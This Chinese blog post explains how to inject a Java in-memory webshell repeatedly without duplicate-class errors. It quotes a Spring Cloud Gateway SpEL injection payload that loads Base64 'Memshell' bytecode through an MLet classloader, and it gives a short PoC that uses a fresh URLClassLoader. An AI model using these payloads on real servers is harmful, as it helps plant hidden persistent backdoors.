xiaoxiong's blog Thinking and Action

内存马加载报错重复类名怎么办

2022-03-10

内存马加载报错重复类名怎么办

在测试中会遇到内存马加载不成功的情况,于是多次打poc复现问题就会报错类重复加载。

理解这很正常,java的双亲委派机制就是用于解决类冲突的,类加载器在收到类加载的请求之后,会优先让父类进行加载,保证某一个类在多个类加载器中是同一个。

报错内容如下

loader (instance of  sun/misc/Launcher$AppClassLoader): attempted  duplicate class definition for name:

为了规避这种情况,通常会将生成内存马加载码进行随机类名。

在分析最新的springcloud spel 注入时,看到师傅提供的内存马可多次运行同类名字节码,

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

一探究竟。

defineClass 与平时不同的是 使用了 Mlet 类加载器

new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())

平时在加载类时通常会使用当前线程的类加载器,也就是 (java.lang.Thread).currentThread().getContextClassLoader()

区别在于每次定义加载类 会 new 一个 classloader 对象,进行加载

查阅一番发现。

jsp 热部署就是这样实现的,每次有 jsp 文件更新,那么会重新编译和加载,新的 jsp class 文件就是用 JsperLodaer 进行加载的。

1646901848744.png

993781409db773eae1c6d1b1cbb155ae.png

所以在使用 defineClass 加载重复类时,new 一个新的 Classloader 实例就行了

af17e79998d2996b21bf5baa06eab840.png

提供测试 poc

ReflectUtils.defineClass("EvilByteCodes", Base64Utils.decodeFromString(evilString),new URLClassLoader(new java.net.URL[0]))

参考链接:

  • Spring cloud gateway通过SPEL注入内存马 https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg
  • JSP 热部署 源码解析 https://www.jianshu.com/p/01805c2a1036

Similar Posts

Comments